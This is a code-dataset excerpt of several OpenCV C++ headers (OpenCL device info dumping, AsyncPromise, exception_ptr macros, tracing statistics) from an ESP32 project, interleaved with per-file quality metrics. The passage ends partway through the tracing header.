0.1752548, "qsc_code_size_file_byte": 782883.0, "qsc_code_num_lines": 8073.0, "qsc_code_num_chars_line_max": 97.0, "qsc_code_num_chars_line_mean": 96.9754738, "qsc_code_frac_chars_alphabet": 0.33077117, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.19781989, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.65975547, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.0, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 1.0, "qsc_codec_score_lines_no_logic": 0.0, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 1, "qsc_code_frac_chars_top_3grams": 1, "qsc_code_frac_chars_top_4grams": 1, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 1, "qsc_code_frac_chars_dupe_9grams": 1, "qsc_code_frac_chars_dupe_10grams": 1, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 1, "qsc_code_frac_chars_digital": 1, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 1, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/opencl/opencl_info.hpp | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
#include <iostream>
#include <opencv2/core.hpp>
#include <opencv2/core/ocl.hpp>
#ifndef DUMP_CONFIG_PROPERTY
#define DUMP_CONFIG_PROPERTY(...)
#endif
#ifndef DUMP_MESSAGE_STDOUT
#define DUMP_MESSAGE_STDOUT(...) do { std::cout << __VA_ARGS__ << std::endl; } while (false)
#endif
namespace cv {
namespace {
static std::string bytesToStringRepr(size_t value)
{
size_t b = value % 1024;
value /= 1024;
size_t kb = value % 1024;
value /= 1024;
size_t mb = value % 1024;
value /= 1024;
size_t gb = value;
std::ostringstream stream;
if (gb > 0)
stream << gb << " GB ";
if (mb > 0)
stream << mb << " MB ";
if (kb > 0)
stream << kb << " KB ";
if (b > 0)
stream << b << " B";
std::string s = stream.str();
if (s[s.size() - 1] == ' ')
s = s.substr(0, s.size() - 1);
return s;
}
static String getDeviceTypeString(const cv::ocl::Device& device)
{
if (device.type() == cv::ocl::Device::TYPE_CPU) {
return "CPU";
}
if (device.type() == cv::ocl::Device::TYPE_GPU) {
if (device.hostUnifiedMemory()) {
return "iGPU";
} else {
return "dGPU";
}
}
return "unknown";
}
} // namespace
static void dumpOpenCLInformation()
{
using namespace cv::ocl;
try
{
if (!haveOpenCL() || !useOpenCL())
{
DUMP_MESSAGE_STDOUT("OpenCL is disabled");
DUMP_CONFIG_PROPERTY("cv_ocl", "disabled");
return;
}
std::vector<PlatformInfo> platforms;
cv::ocl::getPlatfomsInfo(platforms);
if (platforms.empty())
{
DUMP_MESSAGE_STDOUT("OpenCL is not available");
DUMP_CONFIG_PROPERTY("cv_ocl", "not available");
return;
}
DUMP_MESSAGE_STDOUT("OpenCL Platforms: ");
for (size_t i = 0; i < platforms.size(); i++)
{
const PlatformInfo* platform = &platforms[i];
DUMP_MESSAGE_STDOUT(" " << platform->name());
Device current_device;
for (int j = 0; j < platform->deviceNumber(); j++)
{
platform->getDevice(current_device, j);
String deviceTypeStr = getDeviceTypeString(current_device);
DUMP_MESSAGE_STDOUT( " " << deviceTypeStr << ": " << current_device.name() << " (" << current_device.version() << ")");
DUMP_CONFIG_PROPERTY( cv::format("cv_ocl_platform_%d_device_%d", (int)i, j ),
cv::format("(Platform=%s)(Type=%s)(Name=%s)(Version=%s)",
platform->name().c_str(), deviceTypeStr.c_str(), current_device.name().c_str(), current_device.version().c_str()) );
}
}
const Device& device = Device::getDefault();
if (!device.available())
CV_Error(Error::OpenCLInitError, "OpenCL device is not available");
DUMP_MESSAGE_STDOUT("Current OpenCL device: ");
String deviceTypeStr = getDeviceTypeString(device);
DUMP_MESSAGE_STDOUT(" Type = " << deviceTypeStr);
DUMP_CONFIG_PROPERTY("cv_ocl_current_deviceType", deviceTypeStr);
DUMP_MESSAGE_STDOUT(" Name = " << device.name());
DUMP_CONFIG_PROPERTY("cv_ocl_current_deviceName", device.name());
DUMP_MESSAGE_STDOUT(" Version = " << device.version());
DUMP_CONFIG_PROPERTY("cv_ocl_current_deviceVersion", device.version());
DUMP_MESSAGE_STDOUT(" Driver version = " << device.driverVersion());
DUMP_CONFIG_PROPERTY("cv_ocl_current_driverVersion", device.driverVersion());
DUMP_MESSAGE_STDOUT(" Address bits = " << device.addressBits());
DUMP_CONFIG_PROPERTY("cv_ocl_current_addressBits", device.addressBits());
DUMP_MESSAGE_STDOUT(" Compute units = " << device.maxComputeUnits());
DUMP_CONFIG_PROPERTY("cv_ocl_current_maxComputeUnits", device.maxComputeUnits());
DUMP_MESSAGE_STDOUT(" Max work group size = " << device.maxWorkGroupSize());
DUMP_CONFIG_PROPERTY("cv_ocl_current_maxWorkGroupSize", device.maxWorkGroupSize());
std::string localMemorySizeStr = bytesToStringRepr(device.localMemSize());
DUMP_MESSAGE_STDOUT(" Local memory size = " << localMemorySizeStr);
DUMP_CONFIG_PROPERTY("cv_ocl_current_localMemSize", device.localMemSize());
std::string maxMemAllocSizeStr = bytesToStringRepr(device.maxMemAllocSize());
DUMP_MESSAGE_STDOUT(" Max memory allocation size = " << maxMemAllocSizeStr);
DUMP_CONFIG_PROPERTY("cv_ocl_current_maxMemAllocSize", device.maxMemAllocSize());
const char* doubleSupportStr = device.doubleFPConfig() > 0 ? "Yes" : "No";
DUMP_MESSAGE_STDOUT(" Double support = " << doubleSupportStr);
DUMP_CONFIG_PROPERTY("cv_ocl_current_haveDoubleSupport", device.doubleFPConfig() > 0);
const char* isUnifiedMemoryStr = device.hostUnifiedMemory() ? "Yes" : "No";
DUMP_MESSAGE_STDOUT(" Host unified memory = " << isUnifiedMemoryStr);
DUMP_CONFIG_PROPERTY("cv_ocl_current_hostUnifiedMemory", device.hostUnifiedMemory());
DUMP_MESSAGE_STDOUT(" Device extensions:");
String extensionsStr = device.extensions();
size_t pos = 0;
while (pos < extensionsStr.size())
{
size_t pos2 = extensionsStr.find(' ', pos);
if (pos2 == String::npos)
pos2 = extensionsStr.size();
if (pos2 > pos)
{
String extensionName = extensionsStr.substr(pos, pos2 - pos);
DUMP_MESSAGE_STDOUT(" " << extensionName);
}
pos = pos2 + 1;
}
DUMP_CONFIG_PROPERTY("cv_ocl_current_extensions", extensionsStr);
const char* haveAmdBlasStr = haveAmdBlas() ? "Yes" : "No";
DUMP_MESSAGE_STDOUT(" Has AMD Blas = " << haveAmdBlasStr);
DUMP_CONFIG_PROPERTY("cv_ocl_current_AmdBlas", haveAmdBlas());
const char* haveAmdFftStr = haveAmdFft() ? "Yes" : "No";
DUMP_MESSAGE_STDOUT(" Has AMD Fft = " << haveAmdFftStr);
DUMP_CONFIG_PROPERTY("cv_ocl_current_AmdFft", haveAmdFft());
DUMP_MESSAGE_STDOUT(" Preferred vector width char = " << device.preferredVectorWidthChar());
DUMP_CONFIG_PROPERTY("cv_ocl_current_preferredVectorWidthChar", device.preferredVectorWidthChar());
DUMP_MESSAGE_STDOUT(" Preferred vector width short = " << device.preferredVectorWidthShort());
DUMP_CONFIG_PROPERTY("cv_ocl_current_preferredVectorWidthShort", device.preferredVectorWidthShort());
DUMP_MESSAGE_STDOUT(" Preferred vector width int = " << device.preferredVectorWidthInt());
DUMP_CONFIG_PROPERTY("cv_ocl_current_preferredVectorWidthInt", device.preferredVectorWidthInt());
DUMP_MESSAGE_STDOUT(" Preferred vector width long = " << device.preferredVectorWidthLong());
DUMP_CONFIG_PROPERTY("cv_ocl_current_preferredVectorWidthLong", device.preferredVectorWidthLong());
DUMP_MESSAGE_STDOUT(" Preferred vector width float = " << device.preferredVectorWidthFloat());
DUMP_CONFIG_PROPERTY("cv_ocl_current_preferredVectorWidthFloat", device.preferredVectorWidthFloat());
DUMP_MESSAGE_STDOUT(" Preferred vector width double = " << device.preferredVectorWidthDouble());
DUMP_CONFIG_PROPERTY("cv_ocl_current_preferredVectorWidthDouble", device.preferredVectorWidthDouble());
}
catch (...)
{
DUMP_MESSAGE_STDOUT("Exception. Can't dump OpenCL info");
DUMP_MESSAGE_STDOUT("OpenCL device not available");
DUMP_CONFIG_PROPERTY("cv_ocl", "not available");
}
}
#undef DUMP_MESSAGE_STDOUT
#undef DUMP_CONFIG_PROPERTY
} // namespace
| 7,998 | opencl_info | hpp | en | cpp | code | {"qsc_code_num_words": 802, "qsc_code_num_chars": 7998.0, "qsc_code_mean_word_length": 6.08603491, "qsc_code_frac_words_unique": 0.22069825, "qsc_code_frac_chars_top_2grams": 0.07211637, "qsc_code_frac_chars_top_3grams": 0.11145257, "qsc_code_frac_chars_top_4grams": 0.0983405, "qsc_code_frac_chars_dupe_5grams": 0.25773407, "qsc_code_frac_chars_dupe_6grams": 0.23376357, "qsc_code_frac_chars_dupe_7grams": 0.04179471, "qsc_code_frac_chars_dupe_8grams": 0.01925835, "qsc_code_frac_chars_dupe_9grams": 0.01925835, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00738674, "qsc_code_frac_chars_whitespace": 0.23830958, "qsc_code_size_file_byte": 7998.0, "qsc_code_num_lines": 205.0, "qsc_code_num_chars_line_max": 143.0, "qsc_code_num_chars_line_mean": 39.01463415, "qsc_code_frac_chars_alphabet": 0.79382797, "qsc_code_frac_chars_comments": 0.02750688, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.05625, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.19092312, "qsc_code_frac_chars_long_word_length": 0.08871175, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.03125, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.09375, "qsc_codecpp_frac_lines_print": 0.00625} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/detail/async_promise.hpp | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
#ifndef OPENCV_CORE_ASYNC_PROMISE_HPP
#define OPENCV_CORE_ASYNC_PROMISE_HPP
#include "../async.hpp"
#include "exception_ptr.hpp"
namespace cv {
/** @addtogroup core_async
@{
*/
/** @brief Provides result of asynchronous operations
*/
class CV_EXPORTS AsyncPromise
{
public:
~AsyncPromise() CV_NOEXCEPT;
AsyncPromise() CV_NOEXCEPT;
explicit AsyncPromise(const AsyncPromise& o) CV_NOEXCEPT;
AsyncPromise& operator=(const AsyncPromise& o) CV_NOEXCEPT;
void release() CV_NOEXCEPT;
/** Returns associated AsyncArray
@note Can be called once
*/
AsyncArray getArrayResult();
/** Stores asynchronous result.
@param[in] value result
*/
void setValue(InputArray value);
// TODO "move" setters
#if CV__EXCEPTION_PTR
/** Stores exception.
@param[in] exception exception to be raised in AsyncArray
*/
void setException(std::exception_ptr exception);
#endif
/** Stores exception.
@param[in] exception exception to be raised in AsyncArray
*/
void setException(const cv::Exception& exception);
#ifdef CV_CXX11
explicit AsyncPromise(AsyncPromise&& o) { p = o.p; o.p = NULL; }
AsyncPromise& operator=(AsyncPromise&& o) CV_NOEXCEPT { std::swap(p, o.p); return *this; }
#endif
// PImpl
typedef struct AsyncArray::Impl Impl; friend struct AsyncArray::Impl;
inline void* _getImpl() const CV_NOEXCEPT { return p; }
protected:
Impl* p;
};
//! @}
} // namespace
#endif // OPENCV_CORE_ASYNC_PROMISE_HPP
| 1,701 | async_promise | hpp | en | cpp | code | {"qsc_code_num_words": 211, "qsc_code_num_chars": 1701.0, "qsc_code_mean_word_length": 5.53554502, "qsc_code_frac_words_unique": 0.41706161, "qsc_code_frac_chars_top_2grams": 0.05993151, "qsc_code_frac_chars_top_3grams": 0.0385274, "qsc_code_frac_chars_top_4grams": 0.05650685, "qsc_code_frac_chars_dupe_5grams": 0.24571918, "qsc_code_frac_chars_dupe_6grams": 0.13356164, "qsc_code_frac_chars_dupe_7grams": 0.13356164, "qsc_code_frac_chars_dupe_8grams": 0.13356164, "qsc_code_frac_chars_dupe_9grams": 0.13356164, "qsc_code_frac_chars_dupe_10grams": 0.13356164, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00145138, "qsc_code_frac_chars_whitespace": 0.1898883, "qsc_code_size_file_byte": 1701.0, "qsc_code_num_lines": 71.0, "qsc_code_num_chars_line_max": 95.0, "qsc_code_num_chars_line_mean": 23.95774648, "qsc_code_frac_chars_alphabet": 0.84615385, "qsc_code_frac_chars_comments": 0.40152851, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.06896552, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.02848723, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.01408451, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.27586207, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.34482759, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 1, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/detail/exception_ptr.hpp | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
#ifndef OPENCV_CORE_DETAILS_EXCEPTION_PTR_H
#define OPENCV_CORE_DETAILS_EXCEPTION_PTR_H
#ifndef CV__EXCEPTION_PTR
# if defined(__ANDROID__) && defined(ATOMIC_INT_LOCK_FREE) && ATOMIC_INT_LOCK_FREE < 2
# define CV__EXCEPTION_PTR 0 // Not supported, details: https://gcc.gnu.org/bugzilla/show_bug.cgi?id=58938
# elif defined(CV_CXX11)
# define CV__EXCEPTION_PTR 1
# elif defined(_MSC_VER)
# define CV__EXCEPTION_PTR (_MSC_VER >= 1600)
# elif defined(__clang__)
# define CV__EXCEPTION_PTR 0 // C++11 only (see above)
# elif defined(__GNUC__) && defined(__GXX_EXPERIMENTAL_CXX0X__)
# define CV__EXCEPTION_PTR (__GXX_EXPERIMENTAL_CXX0X__ > 0)
# endif
#endif
#ifndef CV__EXCEPTION_PTR
# define CV__EXCEPTION_PTR 0
#elif CV__EXCEPTION_PTR
# include <exception> // std::exception_ptr
#endif
#endif // OPENCV_CORE_DETAILS_EXCEPTION_PTR_H
| 1,052 | exception_ptr | hpp | en | cpp | code | {"qsc_code_num_words": 159, "qsc_code_num_chars": 1052.0, "qsc_code_mean_word_length": 4.63522013, "qsc_code_frac_words_unique": 0.44654088, "qsc_code_frac_chars_top_2grams": 0.21166893, "qsc_code_frac_chars_top_3grams": 0.17096336, "qsc_code_frac_chars_top_4grams": 0.16282225, "qsc_code_frac_chars_dupe_5grams": 0.20759837, "qsc_code_frac_chars_dupe_6grams": 0.12211669, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02312775, "qsc_code_frac_chars_whitespace": 0.13688213, "qsc_code_size_file_byte": 1052.0, "qsc_code_num_lines": 27.0, "qsc_code_num_chars_line_max": 111.0, "qsc_code_num_chars_line_mean": 38.96296296, "qsc_code_frac_chars_alphabet": 0.78854626, "qsc_code_frac_chars_comments": 0.34220532, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.31578947, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.26315789, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 1.0, "qsc_codecpp_score_lines_no_logic": 0.31578947, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 1, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 1, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/utils/trace.private.hpp | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
#ifndef OPENCV_TRACE_PRIVATE_HPP
#define OPENCV_TRACE_PRIVATE_HPP
#ifdef OPENCV_TRACE
#include <opencv2/core/utils/logger.hpp>
#include <opencv2/core/utils/tls.hpp>
#include "trace.hpp"
//! @cond IGNORED
#include <deque>
#include <ostream>
#define INTEL_ITTNOTIFY_API_PRIVATE 1
#ifdef OPENCV_WITH_ITT
#include "ittnotify.h"
#endif
#ifndef DEBUG_ONLY
#ifdef _DEBUG
#define DEBUG_ONLY(...) __VA_ARGS__
#else
#define DEBUG_ONLY(...) (void)0
#endif
#endif
#ifndef DEBUG_ONLY_
#ifdef _DEBUG
#define DEBUG_ONLY_(...) __VA_ARGS__
#else
#define DEBUG_ONLY_(...)
#endif
#endif
namespace cv {
namespace utils {
namespace trace {
namespace details {
#define CV__TRACE_OPENCV_FUNCTION_NAME_(name, flags) \
CV__TRACE_DEFINE_LOCATION_FN(name, flags); \
const CV_TRACE_NS::details::Region __region_fn(CV__TRACE_LOCATION_VARNAME(fn));
enum RegionFlag {
REGION_FLAG__NEED_STACK_POP = (1 << 0),
REGION_FLAG__ACTIVE = (1 << 1),
ENUM_REGION_FLAG_IMPL_FORCE_INT = INT_MAX
};
class TraceMessage;
class TraceStorage {
public:
TraceStorage() {}
virtual ~TraceStorage() {};
virtual bool put(const TraceMessage& msg) const = 0;
};
struct RegionStatistics
{
int currentSkippedRegions;
int64 duration;
#ifdef HAVE_IPP
int64 durationImplIPP;
#endif
#ifdef HAVE_OPENCL
int64 durationImplOpenCL;
#endif
#ifdef HAVE_OPENVX
int64 durationImplOpenVX;
#endif
RegionStatistics() :
currentSkippedRegions(0),
duration(0)
#ifdef HAVE_IPP
,durationImplIPP(0)
#endif
#ifdef HAVE_OPENCL
,durationImplOpenCL(0)
#endif
#ifdef HAVE_OPENVX
,durationImplOpenVX(0)
#endif
{}
void grab(RegionStatistics& result)
{
result.currentSkippedRegions = currentSkippedRegions; currentSkippedRegions = 0;
result.duration = duration; duration = 0;
#ifdef HAVE_IPP
result.durationImplIPP = durationImplIPP; durationImplIPP = 0;
#endif
#ifdef HAVE_OPENCL
result.durationImplOpenCL = durationImplOpenCL; durationImplOpenCL = 0;
#endif
#ifdef HAVE_OPENVX
result.durationImplOpenVX = durationImplOpenVX; durationImplOpenVX = 0;
#endif
}
void append(RegionStatistics& stat)
{
currentSkippedRegions += stat.currentSkippedRegions;
duration += stat.duration;
#ifdef HAVE_IPP
durationImplIPP += stat.durationImplIPP;
#endif
#ifdef HAVE_OPENCL
durationImplOpenCL += stat.durationImplOpenCL;
#endif
#ifdef HAVE_OPENVX
durationImplOpenVX += stat.durationImplOpenVX;
#endif
}
void multiply(const float c)
{
duration = (int64)(duration * c);
#ifdef HAVE_IPP
durationImplIPP = (int64)(durationImplIPP * c);
#endif
#ifdef HAVE_OPENCL
durationImplOpenCL = (int64)(durationImplOpenCL * c);
#endif
#ifdef HAVE_OPENVX
durationImplOpenVX = (int64)(durationImplOpenVX * c);
#endif
}
};
static inline
std::ostream& operator<<(std::ostream& out, const RegionStatistics& stat)
{
out << "skip=" << stat.currentSkippedRegions
<< " duration=" << stat.duration
#ifdef HAVE_IPP
<< " durationImplIPP=" << stat.durationImplIPP
#endif
#ifdef HAVE_OPENCL
<< " durationImplOpenCL=" << stat.durationImplOpenCL
#endif
#ifdef HAVE_OPENVX
<< " durationImplOpenVX=" << stat.durationImplOpenVX
#endif
;
return out;
}
struct RegionStatisticsStatus
{
int _skipDepth;
#ifdef HAVE_IPP
int ignoreDepthImplIPP;
#endif
#ifdef HAVE_OPENCL
int ignoreDepthImplOpenCL;
#endif
#ifdef HAVE_OPENVX
int ignoreDepthImplOpenVX;
#endif
RegionStatisticsStatus() { reset(); }
void reset()
{
_skipDepth = -1;
#ifdef HAVE_IPP
ignoreDepthImplIPP = 0;
#endif
#ifdef HAVE_OPENCL
ignoreDepthImplOpenCL = 0;
#endif
#ifdef HAVE_OPENVX
ignoreDepthImplOpenVX = 0;
#endif
}
void propagateFrom(const RegionStatisticsStatus& src)
{
_skipDepth = -1;
if (src._skipDepth >= 0)
enableSkipMode(0);
#ifdef HAVE_IPP
ignoreDepthImplIPP = src.ignoreDepthImplIPP ? 1 : 0;
#endif
#ifdef HAVE_OPENCL
ignoreDepthImplOpenCL = src.ignoreDepthImplOpenCL ? 1 : 0;
#endif
#ifdef HAVE_OPENVX
ignoreDepthImplOpenVX = src.ignoreDepthImplOpenVX ? 1 : 0;
#endif
}
void enableSkipMode(int depth);
void checkResetSkipMode(int leaveDepth);
};
static inline
std::ostream& operator<<(std::ostream& out, const RegionStatisticsStatus& s)
{
out << "ignore={";
if (s._skipDepth >= 0)
out << " SKIP=" << s._skipDepth;
#ifdef HAVE_IPP
if (s.ignoreDepthImplIPP)
out << " IPP=" << s.ignoreDepthImplIPP;
#endif
#ifdef HAVE_OPENCL
if (s.ignoreDepthImplOpenCL)
out << " OpenCL=" << s.ignoreDepthImplOpenCL;
#endif
#ifdef HAVE_OPENVX
if (s.ignoreDepthImplOpenVX)
out << " OpenVX=" << s.ignoreDepthImplOpenVX;
#endif
out << "}";
return out;
}
//! TraceManager for local thread
struct TraceManagerThreadLocal
{
const int threadID;
int region_counter;
size_t totalSkippedEvents;
Region* currentActiveRegion;
struct StackEntry
{
Region* region;
const Region::LocationStaticStorage* location;
int64 beginTimestamp;
StackEntry(Region* region_, const Region::LocationStaticStorage* location_, int64 beginTimestamp_) :
region(region_), location(location_), beginTimestamp(beginTimestamp_)
{}
StackEntry() : region(NULL), location(NULL), beginTimestamp(-1) {}
};
std::deque<StackEntry> stack;
int regionDepth; // functions only (no named regions)
int regionDepthOpenCV; // functions from OpenCV library
RegionStatistics stat;
RegionStatisticsStatus stat_status;
StackEntry dummy_stack_top; // parallel_for root region
RegionStatistics parallel_for_stat;
RegionStatisticsStatus parallel_for_stat_status;
size_t parallel_for_stack_size;
mutable cv::Ptr<TraceStorage> storage;
TraceManagerThreadLocal() :
threadID(cv::utils::getThreadID()),
region_counter(0), totalSkippedEvents(0),
currentActiveRegion(NULL),
regionDepth(0),
regionDepthOpenCV(0),
parallel_for_stack_size(0)
{
}
~TraceManagerThreadLocal();
